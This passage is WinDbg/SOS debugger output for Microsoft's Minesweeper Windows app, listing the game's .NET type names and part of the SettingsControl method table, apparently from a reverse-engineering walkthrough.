51ee0d24 0x02000041  
Minesweeper.MvvmStructure.ViewModel.GamePageViewModel

51ee0c04 0x02000042  
Minesweeper.MvvmStructure.ViewModel.GoalDescriptionPopupViewModel

51ee06b4 0x02000043  
Minesweeper.MvvmStructure.ViewModel.HelpPageViewModel

51ee5dc8 0x02000044
Minesweeper.MvvmStructure.ViewModel.LeaderboardsMenuControlViewModel

51ee6108 0x02000045  
Minesweeper.MvvmStructure.ViewModel.LeaderboardsPageViewModel

51ee6b90 0x02000046  
Minesweeper.MvvmStructure.ViewModel.MainPageViewModel

51ee6c20 0x02000047
Minesweeper.MvvmStructure.ViewModel.Menu.AwardsMenuControlViewModel

51ee07d4 0x02000048  
Minesweeper.MvvmStructure.ViewModel.GamesMenuViewModel

51ee08a4 0x02000049  
Minesweeper.MvvmStructure.ViewModel.HelpAdventureMenuViewModel

51ee0934 0x0200004a Minesweeper.MvvmStructure.ViewModel.HelpMenuViewModel

51ee0a54 0x0200004b  
Minesweeper.MvvmStructure.ViewModel.LeaderboardsMenuViewModel

51ee0664 0x0200004c  
Minesweeper.MvvmStructure.ViewModel.StatisticsMenuViewModel

51ee0984 0x0200004d  
Minesweeper.MvvmStructure.ViewModel.ThemesMenuViewModel

51ee0ae4 0x0200004e  
Minesweeper.MvvmStructure.ViewModel.SettingsControlViewModel

51ee053c 0x0200004f  
Minesweeper.MvvmStructure.ViewModel.StatisticsPageViewModel

51ee0c94 0x02000050  
Minesweeper.MvvmStructure.ViewModel.TutorialPopupViewModel

51dc846c 0x02000051  
Minesweeper.MvvmStructure.View.Controls.SimpleMessagePopupControl

51dc8554 0x02000052  
Minesweeper.MvvmStructure.View.Controls.AdventureToolPopupControl

51ed8f5c 0x02000053  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.MinesweeperAdventureHudElements

51ed8f94 0x02000054  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.ICommonHud

51ee6cb4 0x02000055  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.AdventureGuiCodeBehind

51ee6d68 0x02000056  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.AdventureGuiCurrentState

51ee6da0 0x02000057  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.NumbersStackPanel

51ee6e08 0x02000058  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.LevelNameStackPanel

51ee6e40 0x02000059
Minesweeper.MvvmStructure.View.Pages.ClassicHud.ClassicBackPanel

51ed9008 0x0200005a  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.GuiStates

51ee6e8c 0x0200005b  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.ClassicGuiCodeBehind

51ee6f44 0x0200005c  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.MinesPanel

51ee6fcc 0x0200005d  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.SwitchModePanel

51ee6f7c 0x0200005e  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.TimerPanel

51ee7080 0x0200005f  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeGuiCodeBehind

51ee7444 0x02000060  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeInfoPanel

51ee70ec 0x02000061  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeTimerPanel

51ee579c 0x02000062 Minesweeper.ViewModelLocator

51dc82b0 0x02000063  
Minesweeper.MvvmStructure.View.Controls.ClassicCusomModeSettingsControl

51dc81d4 0x02000064  
Minesweeper.MvvmStructure.View.Controls.ChooseBoardDynamicContentControl

51dc8398 0x02000065
Minesweeper.MvvmStructure.View.Controls.HelpAdventureMenuControl

51dc862c 0x02000066  
Minesweeper.MvvmStructure.View.Controls.SnapDisableControl

51dc8708 0x02000067  
Minesweeper.MvvmStructure.View.Controls.GamesMenuControl

51dc87f4 0x02000068  
Minesweeper.MvvmStructure.View.Controls.HelpMenuControl

51dc892c 0x02000069  
Minesweeper.MvvmStructure.View.Controls.StatsMenuControl

51dc8a10 0x0200006a  
Minesweeper.MvvmStructure.View.Controls.ThemesMenuControl

51dc8aec 0x0200006b  
Minesweeper.MvvmStructure.View.Controls.PreloaderControl

51dc8bc8  
0x0200006c Minesweeper.MvvmStructure.View.Controls.SettingsControl

51dc8cb0 0x0200006d  
Minesweeper.MvvmStructure.View.Controls.TutorialControl

51eda094 0x0200006e  
Minesweeper.MvvmStructure.View.Controls.TutorialControl+AnimationStates

51dc8d90 0x0200006f  
Minesweeper.MvvmStructure.View.Controls.TutorialPopupControl

51dc8e70 0x02000070  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage

51ee76dc 0x02000071  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.Bar.DailyChallengeProgressBar

51ee71f4 0x02000072  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeIterationPanel

51ee77fc 0x02000073  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.Bar.ProgressBarSettings

51eda8f8 0x02000074  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IIterationBarState

51ee775c 0x02000075  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarStartState

51ee77cc 0x02000076  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarAnimateState

51ee7408 0x02000077
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarDefaultState

51ee7a60 0x02000078  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.ProgressBarCell

51edab0c 0x02000079  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.IGameplayFlow

51ee7b48 0x0200007a  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.DailyChallengeFlow

51ee7b88 0x0200007b  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.RegularModeFlow

51dc8f5c 0x0200007c Minesweeper.MvvmStructure.View.Pages.MinesweeperBasePage

51dc9040 0x0200007d  
Minesweeper.MvvmStructure.View.Pages.HelpAdventurePage

51ee5c0c 0x0200007e  
Minesweeper.MvvmStructure.View.Pages.AppbarsController

51ee5ca8 0x0200007f  
Minesweeper.MvvmStructure.View.Pages.ViewController

51ee5bd4 0x02000080  
Minesweeper.MvvmStructure.View.Pages.GameendScenario

51dc9120 0x02000081  
Minesweeper.MvvmStructure.View.Pages.GamePage

51ee5c44 0x02000082  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController

51dc9218 0x02000083 Minesweeper.MvvmStructure.View.Pages.HelpPage

51dc9308 0x02000084  
Minesweeper.MvvmStructure.View.Pages.MainPage

51dc93e8 0x02000085  
Minesweeper.MvvmStructure.View.Pages.StatisticsPage

51ee7c00 0x02000086 Minesweeper.Program

51ee01e8 0x02000087  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlTypeInfoProvider

51ee7c38 0x02000088  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlSystemBaseType

51edbc5c 0x02000089  
Minesweeper.Minesweeper\_XamlTypeInfo.Activator

51edbce8 0x0200008a  
Minesweeper.Minesweeper\_XamlTypeInfo.AddToCollection

51edbd4c 0x0200008b  
Minesweeper.Minesweeper\_XamlTypeInfo.AddToDictionary

51ee5708 0x0200008c  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlUserType

51edbe40 0x0200008d  
Minesweeper.Minesweeper\_XamlTypeInfo.Getter

51edbea4 0x0200008e  
Minesweeper.Minesweeper\_XamlTypeInfo.Setter

51ee7d30 0x0200008f  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlMember

51ee7d88 0x02000090  
Minesweeper.App+<OnApplicationLaunched>d\_\_2

51ee7e18 0x02000091  
Minesweeper.App+<InitializeAchievements>d\_\_7

51ee7e6c 0x02000092  
Minesweeper.App+<LoadMinesweeperSettings>d\_\_c

51ee7ed8 0x02000093  
Minesweeper.App+<<InitGame>b\_\_13>d\_\_17

51ee7f5c 0x02000094  
Minesweeper.App+<RegisterTiles>d\_\_1a

51ee7fc8 0x02000095  
Minesweeper.IocRegistrationHelper+ThemeUpdateHelper+<<OnThemeInfoLoaded>b\_\_20>d\_\_22

51ee802c 0x02000096 Minesweeper.MinesweeperGame+<OnGameSuspending>d\_\_1

51ee8080 0x02000097  
Minesweeper.MvvmStructure.Model.ModeSettingsDataSourceBase+<CustomSettingsChanged>d\_\_0

51ee80ec 0x02000098  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource+<SaveSettings>d\_\_1

51ee8158 0x02000099  
Minesweeper.MvvmStructure.Model.Day0PopupDataSource+<OnUpdate>d\_\_1

51ee81bc 0x0200009a  
Minesweeper.MvvmStructure.Model.HelpDataSource+<Init>d\_\_3

51ee8240 0x0200009b  
Minesweeper.MvvmStructure.Model.HelpDataSource+<Themes\_OnThemeChanged>d\_\_7

51ee82ac 0x0200009c  
Minesweeper.MvvmStructure.Model.HelpDataSource+<GetSelectedThemeBackground>d\_\_c

51ee8318 0x0200009d  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<Init>d\_\_3

51ee8384 0x0200009e  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateADailyChallengeTile>d\_\_a

51ee83d8 0x0200009f  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateAdventureModeTile>d\_\_e

51edc42c 0x020000a0 <>f\_\_AnonymousType0\`2

51ee5fd4 0x020000a1  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<>c\_\_DisplayClass1b

51ee8508 0x020000a2  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateClassicTileItem>d\_\_1e

51ee855c 0x020000a3  
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource+<Init>d\_\_0

51ee85e0 0x020000a4  
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource+<CreateTileLeaderboard>d\_\_4

51edc5a4 0x020000a5 <>f\_\_AnonymousType1\`8

51ee600c 0x020000a6  
Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource+<>c\_\_DisplayClass3

51ee6190 0x020000a7  
Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource+<>c\_\_DisplayClass3+<>c\_\_DisplayClass5

51ee8728 0x020000a8  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource+<Init>d\_\_0

51ee8794 0x020000a9  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource+<CreateTile>d\_\_3

51ee8818 0x020000aa
Minesweeper.MvvmStructure.Model.GamePageModel+<PreloadPageImages>d\_\_6

51ee8884 0x020000ab  
Minesweeper.MvvmStructure.Model.GamePageModel+<Update>d\_\_9

51ee88d8 0x020000ac  
Minesweeper.MvvmStructure.Model.GamePageModel+<UpdateSwitchButtonContent>d\_\_c

51ee5820 0x020000ad
Minesweeper.MvvmStructure.Service.MinesweeperAwardsService+<>c\_\_DisplayClass2

51ee57e8 0x020000ae  
Minesweeper.MvvmStructure.Service.MinesweeperDailyChallengeService+<>c\_\_DisplayClass4

51edc85c 0x020000af  
<PrivateImplementationDetails>\{B7AC8F84-9FAE-4374-B422-C42E1B374C0B\}

51ee895c 0x020000b0  
Minesweeper.MvvmStructure.View.Controls.ClassicCusomModeSettingsControl+<ButtonStartGameOnClick>d\_\_0

51ee89c8 0x020000b1  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<TimerOnOffToggled>d\_\_3

51ee8a34 0x020000b2
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<TipsOnOffToggled>d\_\_6

51ee8a88 0x020000b3  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<QuestionMarkOnOffToggled>d\_\_9

51ee8af4 0x020000b4  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OneTapOnOffToggled>d\_\_c

51ee8b78 0x020000b5  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<QuickChangeOnOffToggled>d\_\_f

51ee8bcc 0x020000b6  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<SwipeInControlsOnOffToggled>d\_\_12

51ee8c50 0x020000b7  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OnOfGameEndAnimationsToggled>d\_\_15

51ee8cbc 0x020000b8  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<SoundsSliderOnValueChangeComplete>d\_\_18

51ee8d28 0x020000b9
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OnConfirmResetSettings>d\_\_1f

51ee8d94 0x020000ba  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<ResetSettings>d\_\_22

51ee8e00 0x020000bb  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage+<SetModel>d\_\_0

51ee8e64 0x020000bc  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage+<OnAnimationCompleted>d\_\_e

51ee8ed0 0x020000bd  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.DailyChallengeFlow+<Activate>d\_\_0

51ee8f24 0x020000be
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.RegularModeFlow+<Activate>d\_\_0

51ee60c0 0x020000bf  
Minesweeper.MvvmStructure.View.Pages.GameendScenario+<>c\_\_DisplayClass5

51ee8fa8 0x020000c0  
Minesweeper.MvvmStructure.View.Pages.GamePage+<<OnInputControlsSwitched>b\_\_2>d\_\_4

51ee8ffc 0x020000c1  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController+<SetFlow>d\_\_0

51ee9080 0x020000c2  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController+<SetupCurrentMode>d\_\_3

51ee5d40 0x020000c3
Minesweeper.MvvmStructure.View.Pages.MainPage+<>c\_\_DisplayClass1

51ee5e08 0x020000c4  
Minesweeper.MvvmStructure.View.Pages.MainPage+<>c\_\_DisplayClass1a

Types referenced in this module

MT TypeRef Name

\------------------------------------------------------------------------------

604026a4 0x02000004 System.Object

604038c4 0x02000007 System.Enum

0f7c8d00 0x0200000b  
Common.Controls.Models.DataSourceBase

0f7bb644 0x0200000c  
Common.Controls.Models.ITileDataTemplate

5f82b420 0x0200000f  
System.Collections.ObjectModel.ObservableCollection\`1

60403898 0x02000010 System.ValueType

6e5ef2c4 0x02000015  
Arkadium.LeaderboardModule.ViewModel.Controls.LeaderboardsMenuControlBaseViewModel

603f6770 0x02000022 System.MulticastDelegate

60403424 0x02000030 System.Type

603f4420 0x02000036 System.EventHandler

603f6630 0x02000038 System.EventArgs

603f7400 0x02000048 System.Action

30bae080 0x0200004a Windows.UI.Xaml.Visibility

7098543c 0x0200004c Windows.UI.Color

0f7cad4c 0x0200004d  
Common.Controls.Models.DataGroup

0f7c4438 0x0200004e Common.CommonImageSource

70985350 0x02000058 Windows.Foundation.Size

603f76c4 0x02000059 System.Threading.Tasks.Task

6fbd5bbc 0x0200005c Windows.UI.Xaml.Thickness

308bcc6c 0x02000062 Windows.UI.Xaml.Media.Brush

0f7c9c20 0x02000065 Common.CommonCommand

70a5af44 0x02000074  
GalaSoft.MvvmLight.Command.RelayCommand

604069ec 0x02000093 System.Decimal

603f7254 0x020000dd System.IAsyncResult

603fbe54 0x020000df  
System.Runtime.Versioning.TargetFrameworkAttribute

60401e4c 0x020000e0  
System.Reflection.AssemblyTitleAttribute

60401ecc 0x020000e1  
System.Reflection.AssemblyDescriptionAttribute

60401e8c 0x020000e2  
System.Reflection.AssemblyConfigurationAttribute

60401f8c 0x020000e3  
System.Reflection.AssemblyCompanyAttribute

60401fcc 0x020000e4  
System.Reflection.AssemblyProductAttribute

60402044 0x020000e5  
System.Reflection.AssemblyCopyrightAttribute

60402084 0x020000e6  
System.Reflection.AssemblyTrademarkAttribute

604020c4 0x020000e9  
System.Reflection.AssemblyFileVersionAttribute

60401900 0x020000ea  
System.Runtime.InteropServices.ComVisibleAttribute

60401b70 0x020000eb  
System.Diagnostics.DebuggableAttribute

60401c14 0x020000ed  
System.Runtime.CompilerServices.CompilationRelaxationsAttribute

604017ec 0x020000ee  
System.Runtime.CompilerServices.RuntimeCompatibilityAttribute

603f88cc 0x020000f6  
System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken

603fa3a0 0x020000f7  
System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal

60402304 0x020000fa System.String

603fadb0 0x020000fe  
System.Runtime.CompilerServices.IAsyncStateMachine

603fa324 0x020000ff  
System.Runtime.CompilerServices.AsyncVoidMethodBuilder

603c9010 0x02000100  
System.Runtime.CompilerServices.TaskAwaiter

6040244c 0x02000109 System.Exception

6040244c 0x0200010a System.Exception

603fa068 0x02000137 System.Runtime.CompilerServices.AsyncTaskMethodBuilder

60403424 0x0200013e System.Type

60403944 0x02000148 System.Delegate

60404650 0x02000149 System.Threading.Interlocked

603f591c 0x02000175  
System.NotImplementedException

5fffc6f4 0x0200019b System.IDisposable

603f7400 0x0200019f System.Action

603f82b4 0x020001ab  
System.Collections.IEnumerator

5fffb534 0x020001ae System.Collections.IList

60402cfc 0x020001b0 System.Char

603f4278 0x020001bc System.Random

60403c54 0x020001bf System.Int32

60404c54 0x020001c0 System.Text.StringBuilder

5fffb5e4 0x020001c6  
System.Collections.IEnumerable

6040663c 0x020001d4  
System.Threading.AutoResetEvent

603fc2e8 0x020001e4 System.UInt32

603f51bc 0x02000218 System.Nullable\`1

604067e0 0x02000229 System.Guid

603fb5a4 0x0200022f System.Double

603f51bc 0x0200028e System.Nullable\`1

603fb4c0 0x020002bf System.Boolean

603f4b8c 0x020002db System.ArgumentException

603f4320 0x020002dd  
System.InvalidOperationException

\- Search for **Minesweeper.MvvmStructure.View.Controls.SettingsControl** and
get the MethodTable:

**\!dumpmt -md 51dc8bc8**

EEClass: 51dd130c

Module: 51dc1000

Name: Minesweeper.MvvmStructure.View.Controls.SettingsControl

mdToken: 0200006c

File: C:\Program
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

BaseSize: 0x4c

ComponentSize: 0x0

Slots in VTable: 314

Number of IFaces in IFaceMap: 16

\--------------------------------------

MethodDesc Table

Entry  
MethodDe JIT Name

60ae36dc 60097980 PreJIT  
System.Runtime.InteropServices.WindowsRuntime.RuntimeClass.ToString\(\)

60ae3720 600979a0 PreJIT  
System.Runtime.InteropServices.WindowsRuntime.RuntimeClass.Equals\(System.Object\)

60ae36b4 60097960 PreJIT  
System.Runtime.InteropServices.WindowsRuntime.RuntimeClass.GetHashCode\(\)

602ff040 5fff8058 PreJIT System.Object.Finalize\(\)

6039bec0 6008f3f4 PreJIT  
System.MarshalByRefObject.GetLifetimeService\(\)

602d3c04 6008f3fc PreJIT  
System.MarshalByRefObject.InitializeLifetimeService\(\)

60349a84 6008f404 PreJIT System.MarshalByRefObject.CreateObjRef\(System.Type\)

30a02e24 309288b4 NONE  
Windows.UI.Xaml.DependencyObject.GetValue\(Windows.UI.Xaml.DependencyProperty\)

30a02e34 309288c0 NONE  
  
Windows.UI.Xaml.DependencyObject.SetValue\(Windows.UI.Xaml.DependencyProperty,  
System.Object\)

30a02e44 309288cc NONE  
Windows.UI.Xaml.DependencyObject.ClearValue\(Windows.UI.Xaml.DependencyProperty\)

30a02e54 309288d8 NONE  
Windows.UI.Xaml.DependencyObject.ReadLocalValue\(Windows.UI.Xaml.DependencyProperty\)

30a02e64 309288e4 NONE
Windows.UI.Xaml.DependencyObject.GetAnimationBaseValue\(Windows.UI.Xaml.DependencyProperty\)

30a02e74 309288f0 NONE  
Windows.UI.Xaml.DependencyObject.get\_Dispatcher\(\)

30a04dc8 3092bf64 NONE  
Windows.UI.Xaml.UIElement.get\_DesiredSize\(\)

30a04dd8 3092bf70 NONE Windows.UI.Xaml.UIElement.get\_AllowDrop\(\)

30a04de8 3092bf7c NONE  
Windows.UI.Xaml.UIElement.put\_AllowDrop\(Boolean\)

30a04df8 3092bf88 NONE Windows.UI.Xaml.UIElement.get\_Opacity\(\)

30a04e08 3092bf94 NONE  
Windows.UI.Xaml.UIElement.put\_Opacity\(Double\)

30a04e18 3092bfa0 NONE Windows.UI.Xaml.UIElement.get\_Clip\(\)

30a04e28 3092bfac NONE  
Windows.UI.Xaml.UIElement.put\_Clip\(Windows.UI.Xaml.Media.RectangleGeometry\)

30a04e38 3092bfb8 NONE  
Windows.UI.Xaml.UIElement.get\_RenderTransform\(\)

30a04e48 3092bfc4 NONE
Windows.UI.Xaml.UIElement.put\_RenderTransform\(Windows.UI.Xaml.Media.Transform\)

30a04e58 3092bfd0 NONE  
Windows.UI.Xaml.UIElement.get\_Projection\(\)

30a04e68 3092bfdc NONE  
Windows.UI.Xaml.UIElement.put\_Projection\(Windows.UI.Xaml.Media.Projection\)

30a04e78 3092bfe8 NONE  
Windows.UI.Xaml.UIElement.get\_RenderTransformOrigin\(\)

30a04e88 3092bff4 NONE  
Windows.UI.Xaml.UIElement.put\_RenderTransformOrigin\(Windows.Foundation.Point\)

30a04e98 3092c000 NONE  
Windows.UI.Xaml.UIElement.get\_IsHitTestVisible\(\)

30a04ea8 3092c00c NONE  
Windows.UI.Xaml.UIElement.put\_IsHitTestVisible\(Boolean\)

30a04eb8 3092c018 NONE  
Windows.UI.Xaml.UIElement.get\_Visibility\(\)

30a04ec8 3092c024 NONE  
Windows.UI.Xaml.UIElement.put\_Visibility\(Windows.UI.Xaml.Visibility\)

30a04ed8 3092c030 NONE Windows.UI.Xaml.UIElement.get\_RenderSize\(\)

30a04ee8 3092c03c NONE  
Windows.UI.Xaml.UIElement.get\_UseLayoutRounding\(\)

30a04ef8 3092c048 NONE  
Windows.UI.Xaml.UIElement.put\_UseLayoutRounding\(Boolean\)

30a04f08 3092c054 NONE Windows.UI.Xaml.UIElement.get\_Transitions\(\)

30a04f18 3092c060 NONE  
Windows.UI.Xaml.UIElement.put\_Transitions\(Windows.UI.Xaml.Media.Animation.TransitionCollection\)

30a04f28 3092c06c NONE  
Windows.UI.Xaml.UIElement.get\_CacheMode\(\)

30a04f38 3092c078 NONE
Windows.UI.Xaml.UIElement.put\_CacheMode\(Windows.UI.Xaml.Media.CacheMode\)

30a04f48 3092c084 NONE  
Windows.UI.Xaml.UIElement.get\_IsTapEnabled\(\)

30a04f58 3092c090 NONE  
Windows.UI.Xaml.UIElement.put\_IsTapEnabled\(Boolean\)

30a04f68 3092c09c NONE  
Windows.UI.Xaml.UIElement.get\_IsDoubleTapEnabled\(\)

30a04f78 3092c0a8 NONE  
Windows.UI.Xaml.UIElement.put\_IsDoubleTapEnabled\(Boolean\)

30a04f88 3092c0b4 NONE  
Windows.UI.Xaml.UIElement.get\_IsRightTapEnabled\(\)

30a04f98 3092c0c0 NONE  
Windows.UI.Xaml.UIElement.put\_IsRightTapEnabled\(Boolean\)

30a04fa8 3092c0cc NONE  
Windows.UI.Xaml.UIElement.get\_IsHoldingEnabled\(\)

30a04fb8 3092c0d8 NONE  
Windows.UI.Xaml.UIElement.put\_IsHoldingEnabled\(Boolean\)

30a04fc8 3092c0e4 NONE  
Windows.UI.Xaml.UIElement.get\_ManipulationMode\(\)

30a04fd8 3092c0f0 NONE
Windows.UI.Xaml.UIElement.put\_ManipulationMode\(Windows.UI.Xaml.Input.ManipulationModes\)

30a04fe8 3092c0fc NONE  
Windows.UI.Xaml.UIElement.get\_PointerCaptures\(\)

30a04ff8 3092c108 NONE  
Windows.UI.Xaml.UIElement.add\_KeyUp\(Windows.UI.Xaml.Input.KeyEventHandler\)

30a05008 3092c114 NONE  
Windows.UI.Xaml.UIElement.remove\_KeyUp\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05018 3092c120 NONE  
Windows.UI.Xaml.UIElement.add\_KeyDown\(Windows.UI.Xaml.Input.KeyEventHandler\)

30a05028 3092c12c NONE  
Windows.UI.Xaml.UIElement.remove\_KeyDown\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05038 3092c138 NONE  
Windows.UI.Xaml.UIElement.add\_GotFocus\(Windows.UI.Xaml.RoutedEventHandler\)

30a05048 3092c144 NONE
Windows.UI.Xaml.UIElement.remove\_GotFocus\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05058 3092c150 NONE  
Windows.UI.Xaml.UIElement.add\_LostFocus\(Windows.UI.Xaml.RoutedEventHandler\)

30a05068 3092c15c NONE
Windows.UI.Xaml.UIElement.remove\_LostFocus\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05078 3092c168 NONE  
Windows.UI.Xaml.UIElement.add\_DragEnter\(Windows.UI.Xaml.DragEventHandler\)

30a05088 3092c174 NONE  
Windows.UI.Xaml.UIElement.remove\_DragEnter\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05098 3092c180 NONE  
Windows.UI.Xaml.UIElement.add\_DragLeave\(Windows.UI.Xaml.DragEventHandler\)

30a050a8 3092c18c NONE  
Windows.UI.Xaml.UIElement.remove\_DragLeave\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a050b8 3092c198 NONE  
Windows.UI.Xaml.UIElement.add\_DragOver\(Windows.UI.Xaml.DragEventHandler\)

30a050c8 3092c1a4 NONE  
Windows.UI.Xaml.UIElement.remove\_DragOver\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a050d8 3092c1b0 NONE  
Windows.UI.Xaml.UIElement.add\_Drop\(Windows.UI.Xaml.DragEventHandler\)

30a050e8 3092c1bc NONE  
Windows.UI.Xaml.UIElement.remove\_Drop\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a050f8 3092c1c8 NONE  
Windows.UI.Xaml.UIElement.add\_PointerPressed\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a05108 3092c1d4 NONE  
Windows.UI.Xaml.UIElement.remove\_PointerPressed\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05118 3092c1e0 NONE  
Windows.UI.Xaml.UIElement.add\_PointerMoved\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a05128 3092c1ec NONE  
Windows.UI.Xaml.UIElement.remove\_PointerMoved\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05138 3092c1f8 NONE  
Windows.UI.Xaml.UIElement.add\_PointerReleased\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a05148 3092c204 NONE  
Windows.UI.Xaml.UIElement.remove\_PointerReleased\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05158 3092c210 NONE  
Windows.UI.Xaml.UIElement.add\_PointerEntered\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a05168 3092c21c NONE  
Windows.UI.Xaml.UIElement.remove\_PointerEntered\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05178 3092c228 NONE  
Windows.UI.Xaml.UIElement.add\_PointerExited\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a05188 3092c234 NONE  
Windows.UI.Xaml.UIElement.remove\_PointerExited\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05198 3092c240 NONE  
Windows.UI.Xaml.UIElement.add\_PointerCaptureLost\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a051a8 3092c24c NONE  
Windows.UI.Xaml.UIElement.remove\_PointerCaptureLost\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a051b8 3092c258 NONE  
Windows.UI.Xaml.UIElement.add\_PointerCanceled\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a051c8 3092c264 NONE  
Windows.UI.Xaml.UIElement.remove\_PointerCanceled\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a051d8 3092c270 NONE  
Windows.UI.Xaml.UIElement.add\_PointerWheelChanged\(Windows.UI.Xaml.Input.PointerEventHandler\)

30a051e8 3092c27c NONE  
Windows.UI.Xaml.UIElement.remove\_PointerWheelChanged\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a051f8 3092c288 NONE  
Windows.UI.Xaml.UIElement.add\_Tapped\(Windows.UI.Xaml.Input.TappedEventHandler\)

30a05208 3092c294 NONE  
Windows.UI.Xaml.UIElement.remove\_Tapped\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05218 3092c2a0 NONE  
Windows.UI.Xaml.UIElement.add\_DoubleTapped\(Windows.UI.Xaml.Input.DoubleTappedEventHandler\)

30a05228 3092c2ac NONE  
Windows.UI.Xaml.UIElement.remove\_DoubleTapped\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05238 3092c2b8 NONE  
Windows.UI.Xaml.UIElement.add\_Holding\(Windows.UI.Xaml.Input.HoldingEventHandler\)

30a05248 3092c2c4 NONE  
Windows.UI.Xaml.UIElement.remove\_Holding\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05258 3092c2d0 NONE
Windows.UI.Xaml.UIElement.add\_RightTapped\(Windows.UI.Xaml.Input.RightTappedEventHandler\)

30a05268 3092c2dc NONE  
Windows.UI.Xaml.UIElement.remove\_RightTapped\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05278 3092c2e8 NONE
Windows.UI.Xaml.UIElement.add\_ManipulationStarting\(Windows.UI.Xaml.Input.ManipulationStartingEventHandler\)

30a05288 3092c2f4 NONE  
Windows.UI.Xaml.UIElement.remove\_ManipulationStarting\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05298 3092c300 NONE  
Windows.UI.Xaml.UIElement.add\_ManipulationInertiaStarting\(Windows.UI.Xaml.Input.ManipulationInertiaStartingEventHandler\)

30a052a8 3092c30c NONE  
